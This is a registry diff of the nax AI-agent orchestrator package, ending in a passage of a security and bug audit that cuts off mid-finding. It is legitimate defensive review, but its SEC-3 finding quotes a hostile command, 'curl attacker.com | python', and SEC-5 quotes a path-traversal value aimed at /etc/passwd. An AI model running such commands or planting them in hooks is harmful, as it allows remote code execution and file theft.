@nathapp/nax 0.18.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (459) hide show
  1. package/.gitlab-ci.yml +96 -0
  2. package/BRIEF.md +140 -0
  3. package/CHANGELOG.md +60 -0
  4. package/CLAUDE.md +159 -0
  5. package/README.md +373 -0
  6. package/US-007-IMPLEMENTATION.md +139 -0
  7. package/bin/nax.ts +930 -0
  8. package/biome.json +14 -0
  9. package/bun.lock +168 -0
  10. package/bunfig.toml +11 -0
  11. package/docs/20260216-fix-plan-context-review.md +56 -0
  12. package/docs/20260216-relentless-vs-ngent-comparison.md +208 -0
  13. package/docs/20260216-v02-plan.md +136 -0
  14. package/docs/20260216-v02-review.md +685 -0
  15. package/docs/20260217-dogfood-findings.md +56 -0
  16. package/docs/20260217-p2-plus-plan.md +117 -0
  17. package/docs/20260217-partial-fixes-plan.md +62 -0
  18. package/docs/20260217-plan-analyze-spec.md +117 -0
  19. package/docs/20260217-post-impl-review.md +1137 -0
  20. package/docs/20260217-quick-wins-plan.md +66 -0
  21. package/docs/20260217-split-runner-plan.md +75 -0
  22. package/docs/20260217-v03-impl-plan.md +80 -0
  23. package/docs/20260217-v03-post-impl-review.md +589 -0
  24. package/docs/20260217-v04-impl-plan.md +86 -0
  25. package/docs/20260217-v05-post-impl-review.md +850 -0
  26. package/docs/20260217-v06-post-impl-review.md +817 -0
  27. package/docs/20260218-adr003-port-plan.md +151 -0
  28. package/docs/20260218-review-adr003-verification.md +175 -0
  29. package/docs/20260219-fix-plan-bug16-19.md +79 -0
  30. package/docs/20260219-fix-plan-bug20-22.md +114 -0
  31. package/docs/20260219-plan-llm-routing.md +116 -0
  32. package/docs/20260219-review-bug20-22-fixes.md +135 -0
  33. package/docs/20260219-routing-baseline-keyword.md +63 -0
  34. package/docs/20260220-plan-structured-logging-p1.md +80 -0
  35. package/docs/20260220-plan-structured-logging-p2.md +37 -0
  36. package/docs/20260220-review-llm-routing.md +180 -0
  37. package/docs/20260220-review-post-fix-llm-routing.md +70 -0
  38. package/docs/20260221-fix-plan-relevantfiles-split.md +101 -0
  39. package/docs/20260221-fix-plan-routing-mode.md +125 -0
  40. package/docs/20260221-review-v0.9-implementation.md +379 -0
  41. package/docs/20260222-fix-plan-v091-routing-isolation.md +197 -0
  42. package/docs/20260223-fix-plan-prompt-audit.md +62 -0
  43. package/docs/20260224-nax-roadmap-phases.md +189 -0
  44. package/docs/20260225-phase2-llm-service-layer.md +401 -0
  45. package/docs/20260225-review-v0.10.1.md +187 -0
  46. package/docs/20260303-v010-implementation-plan.md +165 -0
  47. package/docs/CLAUDE.md.bak +191 -0
  48. package/docs/ROADMAP.md +165 -0
  49. package/docs/SPEC-rectification.md +0 -0
  50. package/docs/SPEC.md +324 -0
  51. package/docs/US-001-plugin-loading-verification.md +152 -0
  52. package/docs/architecture-analysis.md +1076 -0
  53. package/docs/bugs/BUG-21-escalation-null-attempts.md +48 -0
  54. package/docs/bugs-from-dogfood-run-c.md +243 -0
  55. package/docs/code-review-20260228.md +612 -0
  56. package/docs/code-review-v0.15.0.md +629 -0
  57. package/docs/hook-lifecycle-test-plan.md +149 -0
  58. package/docs/releases/v0.11.0-and-earlier.md +20 -0
  59. package/docs/releases/v0.12.0.md +15 -0
  60. package/docs/releases/v0.13.0.md +14 -0
  61. package/docs/releases/v0.14.0.md +20 -0
  62. package/docs/releases/v0.14.1.md +36 -0
  63. package/docs/releases/v0.14.2.md +51 -0
  64. package/docs/releases/v0.14.3.md +174 -0
  65. package/docs/releases/v0.14.4.md +94 -0
  66. package/docs/releases/v0.15.0.md +502 -0
  67. package/docs/releases/v0.15.1.md +170 -0
  68. package/docs/releases/v0.15.3.md +193 -0
  69. package/docs/specs/status-file-v0.10.1.md +812 -0
  70. package/docs/v0.10-global-config.md +206 -0
  71. package/docs/v0.10-plugin-system.md +415 -0
  72. package/docs/v0.10-prompt-optimizer.md +234 -0
  73. package/docs/v0.3-spec.md +244 -0
  74. package/docs/v0.4-spec.md +140 -0
  75. package/docs/v0.5-spec.md +237 -0
  76. package/docs/v0.6-spec.md +371 -0
  77. package/docs/v0.7-spec.md +177 -0
  78. package/docs/v0.8-llm-routing.md +206 -0
  79. package/docs/v0.8-structured-logging.md +132 -0
  80. package/docs/v0.9.3-prompt-audit.md +112 -0
  81. package/examples/plugins/console-reporter/index.test.ts +207 -0
  82. package/examples/plugins/console-reporter/index.ts +110 -0
  83. package/nax/config.json +147 -0
  84. package/nax/features/bugfix-v0171/prd.json +52 -0
  85. package/nax/features/config-management/prd.json +108 -0
  86. package/nax/features/config-management/progress.txt +5 -0
  87. package/nax/features/diagnose/acceptance.test.ts +412 -0
  88. package/nax/features/diagnose/prd.json +41 -0
  89. package/nax/features/orchestration-fixes/prd.json +89 -0
  90. package/nax/features/orchestration-fixes/progress.txt +1 -0
  91. package/nax/features/plugin-integration/US-007-VERIFICATION.md +259 -0
  92. package/nax/features/plugin-integration/prd.json +208 -0
  93. package/nax/features/plugin-integration/progress.txt +5 -0
  94. package/nax/features/precheck/prd.json +205 -0
  95. package/nax/features/precheck/progress.txt +15 -0
  96. package/nax/features/structured-logging/prd.json +199 -0
  97. package/nax/features/unlock/prd.json +36 -0
  98. package/package.json +47 -0
  99. package/src/acceptance/fix-generator.ts +348 -0
  100. package/src/acceptance/generator.ts +282 -0
  101. package/src/acceptance/index.ts +30 -0
  102. package/src/acceptance/types.ts +79 -0
  103. package/src/agents/claude-decompose.ts +169 -0
  104. package/src/agents/claude-plan.ts +139 -0
  105. package/src/agents/claude.ts +324 -0
  106. package/src/agents/cost.ts +268 -0
  107. package/src/agents/index.ts +13 -0
  108. package/src/agents/registry.ts +48 -0
  109. package/src/agents/types-extended.ts +133 -0
  110. package/src/agents/types.ts +113 -0
  111. package/src/agents/validation.ts +69 -0
  112. package/src/analyze/classifier.ts +305 -0
  113. package/src/analyze/index.ts +16 -0
  114. package/src/analyze/scanner.ts +175 -0
  115. package/src/analyze/types.ts +51 -0
  116. package/src/cli/accept.ts +108 -0
  117. package/src/cli/analyze-parser.ts +284 -0
  118. package/src/cli/analyze.ts +207 -0
  119. package/src/cli/config.ts +561 -0
  120. package/src/cli/constitution.ts +109 -0
  121. package/src/cli/diagnose-analysis.ts +159 -0
  122. package/src/cli/diagnose-formatter.ts +87 -0
  123. package/src/cli/diagnose.ts +203 -0
  124. package/src/cli/generate.ts +127 -0
  125. package/src/cli/index.ts +37 -0
  126. package/src/cli/init.ts +188 -0
  127. package/src/cli/interact.ts +295 -0
  128. package/src/cli/plan.ts +198 -0
  129. package/src/cli/plugins.ts +111 -0
  130. package/src/cli/prompts.ts +295 -0
  131. package/src/cli/runs.ts +174 -0
  132. package/src/cli/status-cost.ts +151 -0
  133. package/src/cli/status-features.ts +338 -0
  134. package/src/cli/status.ts +13 -0
  135. package/src/commands/common.ts +171 -0
  136. package/src/commands/diagnose.ts +17 -0
  137. package/src/commands/index.ts +8 -0
  138. package/src/commands/logs.ts +384 -0
  139. package/src/commands/precheck.ts +86 -0
  140. package/src/commands/unlock.ts +96 -0
  141. package/src/config/defaults.ts +160 -0
  142. package/src/config/index.ts +22 -0
  143. package/src/config/loader.ts +121 -0
  144. package/src/config/merger.ts +147 -0
  145. package/src/config/path-security.ts +121 -0
  146. package/src/config/paths.ts +27 -0
  147. package/src/config/schema.ts +56 -0
  148. package/src/config/schemas.ts +286 -0
  149. package/src/config/types.ts +423 -0
  150. package/src/config/validate.ts +103 -0
  151. package/src/constitution/generator.ts +191 -0
  152. package/src/constitution/generators/aider.ts +41 -0
  153. package/src/constitution/generators/claude.ts +35 -0
  154. package/src/constitution/generators/cursor.ts +36 -0
  155. package/src/constitution/generators/opencode.ts +38 -0
  156. package/src/constitution/generators/types.ts +33 -0
  157. package/src/constitution/generators/windsurf.ts +36 -0
  158. package/src/constitution/index.ts +10 -0
  159. package/src/constitution/loader.ts +133 -0
  160. package/src/constitution/types.ts +31 -0
  161. package/src/context/auto-detect.ts +227 -0
  162. package/src/context/builder.ts +246 -0
  163. package/src/context/elements.ts +83 -0
  164. package/src/context/formatter.ts +107 -0
  165. package/src/context/generator.ts +129 -0
  166. package/src/context/generators/aider.ts +34 -0
  167. package/src/context/generators/claude.ts +28 -0
  168. package/src/context/generators/cursor.ts +28 -0
  169. package/src/context/generators/opencode.ts +30 -0
  170. package/src/context/generators/windsurf.ts +28 -0
  171. package/src/context/greenfield.ts +114 -0
  172. package/src/context/index.ts +33 -0
  173. package/src/context/injector.ts +279 -0
  174. package/src/context/test-scanner.ts +370 -0
  175. package/src/context/types.ts +98 -0
  176. package/src/errors.ts +67 -0
  177. package/src/execution/batching.ts +157 -0
  178. package/src/execution/crash-recovery.ts +373 -0
  179. package/src/execution/escalation/escalation.ts +44 -0
  180. package/src/execution/escalation/index.ts +13 -0
  181. package/src/execution/escalation/tier-escalation.ts +295 -0
  182. package/src/execution/escalation/tier-outcome.ts +158 -0
  183. package/src/execution/helpers.ts +38 -0
  184. package/src/execution/index.ts +45 -0
  185. package/src/execution/lifecycle/acceptance-loop.ts +272 -0
  186. package/src/execution/lifecycle/headless-formatter.ts +85 -0
  187. package/src/execution/lifecycle/index.ts +12 -0
  188. package/src/execution/lifecycle/parallel-lifecycle.ts +101 -0
  189. package/src/execution/lifecycle/precheck-runner.ts +140 -0
  190. package/src/execution/lifecycle/run-cleanup.ts +81 -0
  191. package/src/execution/lifecycle/run-completion.ts +129 -0
  192. package/src/execution/lifecycle/run-initialization.ts +141 -0
  193. package/src/execution/lifecycle/run-lifecycle.ts +312 -0
  194. package/src/execution/lifecycle/run-setup.ts +204 -0
  195. package/src/execution/lifecycle/story-hooks.ts +38 -0
  196. package/src/execution/lifecycle/story-size-prompts.ts +123 -0
  197. package/src/execution/lock.ts +115 -0
  198. package/src/execution/parallel-executor.ts +216 -0
  199. package/src/execution/parallel.ts +400 -0
  200. package/src/execution/pid-registry.ts +280 -0
  201. package/src/execution/pipeline-result-handler.ts +388 -0
  202. package/src/execution/post-verify-rectification.ts +188 -0
  203. package/src/execution/post-verify.ts +274 -0
  204. package/src/execution/progress.ts +25 -0
  205. package/src/execution/prompts.ts +127 -0
  206. package/src/execution/queue-handler.ts +109 -0
  207. package/src/execution/rectification.ts +13 -0
  208. package/src/execution/runner.ts +377 -0
  209. package/src/execution/sequential-executor.ts +388 -0
  210. package/src/execution/status-file.ts +264 -0
  211. package/src/execution/status-writer.ts +139 -0
  212. package/src/execution/story-context.ts +229 -0
  213. package/src/execution/test-output-parser.ts +14 -0
  214. package/src/execution/verification.ts +72 -0
  215. package/src/hooks/index.ts +2 -0
  216. package/src/hooks/runner.ts +286 -0
  217. package/src/hooks/types.ts +67 -0
  218. package/src/interaction/chain.ts +154 -0
  219. package/src/interaction/index.ts +60 -0
  220. package/src/interaction/init.ts +83 -0
  221. package/src/interaction/plugins/auto.ts +217 -0
  222. package/src/interaction/plugins/cli.ts +300 -0
  223. package/src/interaction/plugins/telegram.ts +384 -0
  224. package/src/interaction/plugins/webhook.ts +258 -0
  225. package/src/interaction/state.ts +171 -0
  226. package/src/interaction/triggers.ts +229 -0
  227. package/src/interaction/types.ts +163 -0
  228. package/src/logger/formatters.ts +84 -0
  229. package/src/logger/index.ts +16 -0
  230. package/src/logger/logger.ts +298 -0
  231. package/src/logger/types.ts +48 -0
  232. package/src/logging/formatter.ts +355 -0
  233. package/src/logging/index.ts +22 -0
  234. package/src/logging/types.ts +93 -0
  235. package/src/metrics/aggregator.ts +190 -0
  236. package/src/metrics/index.ts +14 -0
  237. package/src/metrics/tracker.ts +200 -0
  238. package/src/metrics/types.ts +109 -0
  239. package/src/optimizer/index.ts +62 -0
  240. package/src/optimizer/noop.optimizer.ts +24 -0
  241. package/src/optimizer/rule-based.optimizer.ts +248 -0
  242. package/src/optimizer/types.ts +53 -0
  243. package/src/pipeline/events.ts +130 -0
  244. package/src/pipeline/index.ts +19 -0
  245. package/src/pipeline/runner.ts +161 -0
  246. package/src/pipeline/stages/acceptance.ts +197 -0
  247. package/src/pipeline/stages/completion.ts +99 -0
  248. package/src/pipeline/stages/constitution.ts +63 -0
  249. package/src/pipeline/stages/context.ts +117 -0
  250. package/src/pipeline/stages/execution.ts +194 -0
  251. package/src/pipeline/stages/index.ts +62 -0
  252. package/src/pipeline/stages/optimizer.ts +74 -0
  253. package/src/pipeline/stages/prompt.ts +57 -0
  254. package/src/pipeline/stages/queue-check.ts +103 -0
  255. package/src/pipeline/stages/review.ts +181 -0
  256. package/src/pipeline/stages/routing.ts +81 -0
  257. package/src/pipeline/stages/verify.ts +100 -0
  258. package/src/pipeline/types.ts +167 -0
  259. package/src/plugins/index.ts +31 -0
  260. package/src/plugins/loader.ts +287 -0
  261. package/src/plugins/registry.ts +168 -0
  262. package/src/plugins/types.ts +327 -0
  263. package/src/plugins/validator.ts +352 -0
  264. package/src/prd/index.ts +172 -0
  265. package/src/prd/types.ts +202 -0
  266. package/src/precheck/checks-blockers.ts +391 -0
  267. package/src/precheck/checks-warnings.ts +142 -0
  268. package/src/precheck/checks.ts +30 -0
  269. package/src/precheck/index.ts +247 -0
  270. package/src/precheck/story-size-gate.ts +144 -0
  271. package/src/precheck/types.ts +31 -0
  272. package/src/queue/index.ts +2 -0
  273. package/src/queue/manager.ts +254 -0
  274. package/src/queue/types.ts +54 -0
  275. package/src/review/index.ts +8 -0
  276. package/src/review/runner.ts +172 -0
  277. package/src/review/types.ts +66 -0
  278. package/src/routing/builder.ts +81 -0
  279. package/src/routing/chain.ts +74 -0
  280. package/src/routing/index.ts +16 -0
  281. package/src/routing/loader.ts +58 -0
  282. package/src/routing/router.ts +303 -0
  283. package/src/routing/strategies/adaptive.ts +215 -0
  284. package/src/routing/strategies/index.ts +8 -0
  285. package/src/routing/strategies/keyword.ts +163 -0
  286. package/src/routing/strategies/llm-prompts.ts +209 -0
  287. package/src/routing/strategies/llm.ts +235 -0
  288. package/src/routing/strategies/manual.ts +50 -0
  289. package/src/routing/strategy.ts +99 -0
  290. package/src/tdd/cleanup.ts +111 -0
  291. package/src/tdd/index.ts +23 -0
  292. package/src/tdd/isolation.ts +123 -0
  293. package/src/tdd/orchestrator.ts +383 -0
  294. package/src/tdd/prompts.ts +270 -0
  295. package/src/tdd/rectification-gate.ts +183 -0
  296. package/src/tdd/session-runner.ts +179 -0
  297. package/src/tdd/types.ts +81 -0
  298. package/src/tdd/verdict.ts +271 -0
  299. package/src/tui/App.tsx +265 -0
  300. package/src/tui/components/AgentPanel.tsx +75 -0
  301. package/src/tui/components/CostOverlay.tsx +118 -0
  302. package/src/tui/components/HelpOverlay.tsx +107 -0
  303. package/src/tui/components/StatusBar.tsx +63 -0
  304. package/src/tui/components/StoriesPanel.tsx +177 -0
  305. package/src/tui/hooks/useKeyboard.ts +142 -0
  306. package/src/tui/hooks/useLayout.ts +137 -0
  307. package/src/tui/hooks/usePipelineEvents.ts +183 -0
  308. package/src/tui/hooks/usePty.ts +194 -0
  309. package/src/tui/index.tsx +38 -0
  310. package/src/tui/types.ts +76 -0
  311. package/src/utils/git.ts +83 -0
  312. package/src/utils/queue-writer.ts +54 -0
  313. package/src/verification/executor.ts +235 -0
  314. package/src/verification/gate.ts +207 -0
  315. package/src/verification/index.ts +12 -0
  316. package/src/verification/parser.ts +230 -0
  317. package/src/verification/rectification.ts +108 -0
  318. package/src/verification/types.ts +113 -0
  319. package/src/worktree/dispatcher.ts +65 -0
  320. package/src/worktree/index.ts +2 -0
  321. package/src/worktree/manager.ts +187 -0
  322. package/src/worktree/merge.ts +301 -0
  323. package/src/worktree/types.ts +4 -0
  324. package/test/TEST_COVERAGE_US001.md +217 -0
  325. package/test/TEST_COVERAGE_US003.md +84 -0
  326. package/test/TEST_COVERAGE_US005.md +86 -0
  327. package/test/US-002-orchestrator.test.ts +246 -0
  328. package/test/acceptance/cm-003-default-view.test.ts +194 -0
  329. package/test/execution/pid-registry.test.ts +240 -0
  330. package/test/execution/post-verify.test.ts +224 -0
  331. package/test/helpers/timeout.ts +42 -0
  332. package/test/integration/US-002-TEST-SUMMARY.md +107 -0
  333. package/test/integration/US-003-TEST-SUMMARY.md +149 -0
  334. package/test/integration/US-004-TEST-SUMMARY.md +106 -0
  335. package/test/integration/US-005-TEST-SUMMARY.md +138 -0
  336. package/test/integration/US-007-TEST-SUMMARY.md +100 -0
  337. package/test/integration/agent-validation.test.ts +439 -0
  338. package/test/integration/analyze-integration.test.ts +261 -0
  339. package/test/integration/analyze-scanner.test.ts +131 -0
  340. package/test/integration/cli-config-default-edge-cases.test.ts +222 -0
  341. package/test/integration/cli-config-default-view.test.ts +229 -0
  342. package/test/integration/cli-config-diff.test.ts +460 -0
  343. package/test/integration/cli-config.test.ts +736 -0
  344. package/test/integration/cli-diagnose.test.ts +592 -0
  345. package/test/integration/cli-logs.test.ts +314 -0
  346. package/test/integration/cli-plugins.test.ts +678 -0
  347. package/test/integration/cli-precheck.test.ts +371 -0
  348. package/test/integration/cli-run-headless.test.ts +173 -0
  349. package/test/integration/cli.test.ts +75 -0
  350. package/test/integration/config/merger.test.ts +465 -0
  351. package/test/integration/config/paths.test.ts +51 -0
  352. package/test/integration/config-loader.test.ts +265 -0
  353. package/test/integration/config.test.ts +444 -0
  354. package/test/integration/context-integration.test.ts +702 -0
  355. package/test/integration/context-provider-injection.test.ts +506 -0
  356. package/test/integration/context-verification-integration.test.ts +295 -0
  357. package/test/integration/e2e.test.ts +896 -0
  358. package/test/integration/execution.test.ts +625 -0
  359. package/test/integration/helpers.test.ts +295 -0
  360. package/test/integration/hooks.test.ts +361 -0
  361. package/test/integration/interaction-chain-pipeline.test.ts +464 -0
  362. package/test/integration/isolation.test.ts +143 -0
  363. package/test/integration/logger.test.ts +461 -0
  364. package/test/integration/parallel.test.ts +250 -0
  365. package/test/integration/path-security.test.ts +173 -0
  366. package/test/integration/pipeline-acceptance.test.ts +302 -0
  367. package/test/integration/pipeline-events.test.ts +475 -0
  368. package/test/integration/pipeline.test.ts +658 -0
  369. package/test/integration/plan.test.ts +157 -0
  370. package/test/integration/plugin-routing.test.ts +921 -0
  371. package/test/integration/plugins/config-integration.test.ts +172 -0
  372. package/test/integration/plugins/config-resolution.test.ts +522 -0
  373. package/test/integration/plugins/loader.test.ts +641 -0
  374. package/test/integration/plugins/registry.test.ts +746 -0
  375. package/test/integration/plugins/validator.test.ts +563 -0
  376. package/test/integration/prd-pause.test.ts +205 -0
  377. package/test/integration/prd-resolvers.test.ts +185 -0
  378. package/test/integration/precheck-integration.test.ts +468 -0
  379. package/test/integration/precheck.test.ts +805 -0
  380. package/test/integration/progress.test.ts +34 -0
  381. package/test/integration/rectification-flow.test.ts +512 -0
  382. package/test/integration/reporter-lifecycle.test.ts +860 -0
  383. package/test/integration/review-config-commands.test.ts +319 -0
  384. package/test/integration/review-config-schema.test.ts +116 -0
  385. package/test/integration/review-plugin-integration.test.ts +722 -0
  386. package/test/integration/review.test.ts +149 -0
  387. package/test/integration/routing-stage-bug-021.test.ts +274 -0
  388. package/test/integration/routing-stage-greenfield.test.ts +286 -0
  389. package/test/integration/runner-config-plugins.test.ts +461 -0
  390. package/test/integration/runner-fixes.test.ts +399 -0
  391. package/test/integration/runner-plugin-integration.test.ts +543 -0
  392. package/test/integration/runner.test.ts +1679 -0
  393. package/test/integration/s5-greenfield-fallback.test.ts +297 -0
  394. package/test/integration/status-file-integration.test.ts +325 -0
  395. package/test/integration/status-file.test.ts +379 -0
  396. package/test/integration/status-writer.test.ts +345 -0
  397. package/test/integration/story-id-in-events.test.ts +273 -0
  398. package/test/integration/tdd-cleanup.test.ts +246 -0
  399. package/test/integration/tdd-orchestrator.test.ts +1762 -0
  400. package/test/integration/test-scanner.test.ts +403 -0
  401. package/test/integration/verification-asset-check.test.ts +142 -0
  402. package/test/integration/verify-stage.test.ts +275 -0
  403. package/test/integration/worktree/manager.test.ts +218 -0
  404. package/test/integration/worktree/merge.test.ts +341 -0
  405. package/test/manual/logging-formatter-demo.ts +158 -0
  406. package/test/ui/tui-agent-panel.test.tsx +99 -0
  407. package/test/ui/tui-controls.test.ts +334 -0
  408. package/test/ui/tui-cost-and-pty.test.ts +189 -0
  409. package/test/ui/tui-layout.test.ts +378 -0
  410. package/test/ui/tui-pty-integration.test.tsx +159 -0
  411. package/test/ui/tui-stories.test.ts +332 -0
  412. package/test/unit/acceptance.test.ts +186 -0
  413. package/test/unit/agent-stderr-capture.test.ts +146 -0
  414. package/test/unit/analyze-classifier.test.ts +215 -0
  415. package/test/unit/analyze.test.ts +224 -0
  416. package/test/unit/auto-detect.test.ts +249 -0
  417. package/test/unit/cli-status.test.ts +417 -0
  418. package/test/unit/commands/common.test.ts +320 -0
  419. package/test/unit/commands/logs.test.ts +416 -0
  420. package/test/unit/commands/unlock.test.ts +319 -0
  421. package/test/unit/constitution-generators.test.ts +160 -0
  422. package/test/unit/constitution.test.ts +209 -0
  423. package/test/unit/context.test.ts +1722 -0
  424. package/test/unit/cost.test.ts +231 -0
  425. package/test/unit/crash-recovery.test.ts +308 -0
  426. package/test/unit/escalation.test.ts +126 -0
  427. package/test/unit/execution-logging-stderr.test.ts +156 -0
  428. package/test/unit/execution-stage.test.ts +122 -0
  429. package/test/unit/fix-generator.test.ts +275 -0
  430. package/test/unit/formatters.test.ts +469 -0
  431. package/test/unit/greenfield.test.ts +179 -0
  432. package/test/unit/helpers.test.ts +317 -0
  433. package/test/unit/interaction/human-review-trigger.test.ts +164 -0
  434. package/test/unit/interaction-network-failures.test.ts +389 -0
  435. package/test/unit/interaction-plugins.test.ts +164 -0
  436. package/test/unit/isolation.test.ts +134 -0
  437. package/test/unit/logging/formatter.test.ts +455 -0
  438. package/test/unit/merge.test.ts +268 -0
  439. package/test/unit/metrics.test.ts +276 -0
  440. package/test/unit/optimizer/noop.optimizer.test.ts +125 -0
  441. package/test/unit/optimizer/rule-based.optimizer.test.ts +358 -0
  442. package/test/unit/prd-auto-default.test.ts +290 -0
  443. package/test/unit/prd-failure-category.test.ts +176 -0
  444. package/test/unit/prd-get-next-story.test.ts +186 -0
  445. package/test/unit/precheck-checks.test.ts +840 -0
  446. package/test/unit/precheck-story-size-gate.test.ts +287 -0
  447. package/test/unit/precheck-types.test.ts +142 -0
  448. package/test/unit/prompts.test.ts +475 -0
  449. package/test/unit/queue.test.ts +237 -0
  450. package/test/unit/rectification.test.ts +284 -0
  451. package/test/unit/registry.test.ts +287 -0
  452. package/test/unit/routing.test.ts +937 -0
  453. package/test/unit/run-lifecycle.test.ts +140 -0
  454. package/test/unit/storyid-events.test.ts +224 -0
  455. package/test/unit/tdd-verdict.test.ts +492 -0
  456. package/test/unit/test-output-parser.test.ts +377 -0
  457. package/test/unit/verdict.test.ts +324 -0
  458. package/test/unit/worktree-manager.test.ts +158 -0
  459. package/tsconfig.json +27 -0
@@ -0,0 +1,612 @@
1
+ # NAX Codebase Audit -- 2026-02-28
2
+
3
+ **Auditor:** Claude Opus 4.6 (code-reviewer agent)
4
+ **Scope:** Full src/ directory -- 27,333 lines across 130 TypeScript files
5
+ **Verdict:** Grade C- (Conditional Pass with Mandatory Fixes)
6
+
7
+ ---
8
+
9
+ ## Executive Summary
10
+
11
+ nax is a well-architected AI agent orchestrator with solid domain modeling
12
+ (pipeline stages, routing strategies, plugin system). The Zod-validated
13
+ config, path-security module, and structured error classes show mature
14
+ engineering judgment. However, several critical issues must be resolved
15
+ before any production release:
16
+
17
+ 1. **`--dangerously-skip-permissions` is hardcoded** in the agent adapter,
18
+ bypassing all safety controls in every execution.
19
+ 2. **runner.ts at 1,685 lines** is a maintenance hazard -- duplicated logic
20
+ with story-dispatcher.ts creates divergence risk.
21
+ 3. **Crash handler captures stale closure values** for cost/iterations,
22
+ meaning crash status files will contain incorrect data.
23
+ 4. **Lock file has a TOCTOU race** between checking existence and writing.
24
+ 5. **LLM routing cache is a module-level Map** with no size limit, growing
25
+ unboundedly across stories.
26
+
27
+ ---
28
+
29
+ ## Findings
30
+
31
+ ### SECURITY
32
+
33
+ ```
34
+ [SEC-1] CRITICAL -- Hardcoded --dangerously-skip-permissions
35
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/agents/claude.ts:140
36
+ Issue: Every agent invocation passes --dangerously-skip-permissions to
37
+ Claude Code CLI. This disables all permission prompts and safety
38
+ checks. The flag is not configurable -- it is hardcoded into
39
+ buildCommand().
40
+ Fix: Make this configurable via NaxConfig. Default to a safer mode
41
+ (e.g., --permission-mode allowedTools) and only allow
42
+ --dangerously-skip-permissions via explicit opt-in in config.
43
+
44
+ // Current (dangerous)
45
+ return [this.binary, "--model", model, "--dangerously-skip-permissions", "-p", options.prompt];
46
+
47
+ // Proposed
48
+ const permFlag = options.dangerouslySkipPermissions
49
+ ? "--dangerously-skip-permissions"
50
+ : "--permission-mode";
51
+ return [this.binary, "--model", model, permFlag, "-p", options.prompt];
52
+ ```
53
+
54
+ ```
55
+ [SEC-2] HIGH -- Plugin loader executes arbitrary code via dynamic import
56
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/plugins/loader.ts:203
57
+ Issue: loadAndValidatePlugin() calls `await import(modulePath)` on
58
+ user-provided paths from config.plugins[].module. While the
59
+ validator checks the plugin shape AFTER import, the import itself
60
+ executes top-level module code unconditionally. A malicious plugin
61
+ module can run arbitrary code at import time.
62
+ Fix: Document the security boundary clearly. Consider sandboxing plugin
63
+ imports or at minimum validating the path is within expected
64
+ directories before importing. Add a "trusted plugins" allowlist.
65
+ ```
66
+
67
+ ```
68
+ [SEC-3] HIGH -- Hook commands are not fully sandboxed
69
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/hooks/runner.ts:120-136
70
+ Issue: validateHookCommand() rejects only a small set of patterns ($(..),
71
+ backticks, rm -rf). Sophisticated injection is still possible:
72
+ - eval "malicious code"
73
+ - curl attacker.com | python
74
+ - python -c "import os; os.system('...')"
75
+ The parseCommandToArgv() function splits on whitespace, which does
76
+ not properly handle quoted arguments (e.g., commands with spaces in
77
+ file paths will break).
78
+ Fix: Use a proper command parser or restrict hooks to a predefined set
79
+ of allowed commands/binaries. Consider using an allowlist approach
80
+ rather than a blocklist.
81
+ ```
82
+
83
+ ```
84
+ [SEC-4] MEDIUM -- Environment variable leakage to spawned agents
85
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/agents/claude.ts:226-229
86
+ Issue: The agent process inherits the full process.env via spread
87
+ operator. This could leak sensitive environment variables (database
88
+ credentials, API keys from other services) to the spawned claude
89
+ process and any code it generates/executes.
90
+ Fix: Create an explicit allowlist of environment variables to pass
91
+ through, rather than passing all of process.env.
92
+ ```
93
+
94
+ ```
95
+ [SEC-5] MEDIUM -- No path validation on constitution/hook file paths
96
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/constitution/loader.ts:77-88
97
+ Issue: Constitution paths are joined from config without validation
98
+ against the path-security module. A config with
99
+ constitution.path = "../../etc/passwd" could read arbitrary files.
100
+ The path-security module exists but is not used here.
101
+ Fix: Use validateFilePath() from path-security.ts before reading
102
+ constitution files.
103
+ ```
104
+
105
+ ### BUGS
106
+
107
+ ```
108
+ [BUG-1] CRITICAL -- Crash handler captures stale cost/iteration values
109
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:216-222
110
+ Issue: installCrashHandlers() receives ctx.totalCost and ctx.iterations
111
+ as VALUES, not closures. The signal handler will always write the
112
+ initial values (0 and 0) to the crash status, regardless of how
113
+ far the run progressed.
114
+
115
+ installCrashHandlers({
116
+ statusWriter,
117
+ totalCost, // <-- captured as 0 at installation time
118
+ iterations, // <-- captured as 0 at installation time
119
+ ...
120
+ });
121
+
122
+ Compare with startHeartbeat() which correctly uses closure getters:
123
+ () => totalCost,
124
+ () => iterations,
125
+
126
+ Fix: Pass closures instead of values:
127
+ installCrashHandlers({
128
+ statusWriter,
129
+ get totalCost() { return totalCost; },
130
+ get iterations() { return iterations; },
131
+ ...
132
+ });
133
+ Or refactor CrashRecoveryContext to accept getter functions.
134
+ ```
135
+
136
+ ```
137
+ [BUG-2] HIGH -- TOCTOU race in lock file acquisition
138
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/helpers.ts:311-346
139
+ Issue: acquireLock() checks if the lock file exists, then writes it.
140
+ Between the check and write, another process can also check and
141
+ find no lock, leading to two processes both believing they
142
+ acquired the lock. The lock mechanism uses Bun.write which is
143
+ not atomic.
144
+ Fix: Use an atomic file creation approach:
145
+ - On POSIX: use O_CREAT | O_EXCL flags (exclusive create)
146
+ - Or use a proper advisory lock (flock/lockfile)
147
+ - Or use mkdir as a lock (mkdir is atomic on most filesystems)
148
+ ```
149
+
150
+ ```
151
+ [BUG-3] HIGH -- Massive code duplication between runner.ts and story-dispatcher.ts
152
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts
153
+ File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/story-dispatcher.ts
154
+ Issue: story-dispatcher.ts contains 765 lines that duplicate nearly all
155
+ the logic in runner.ts. Both files define:
156
+ - applyCachedRouting() (identical)
157
+ - tryLlmBatchRoute() (identical)
158
+ - resolveMaxAttemptsOutcome() (identical)
159
+ - The entire escalation/pause/fail/skip switch-case logic
160
+ However, runner.ts has additional features (S5 greenfield-no-tests
161
+ test-after fallback, BUG-011 tier reset) that story-dispatcher.ts
162
+ lacks. This divergence means fixes applied to one file are missed
163
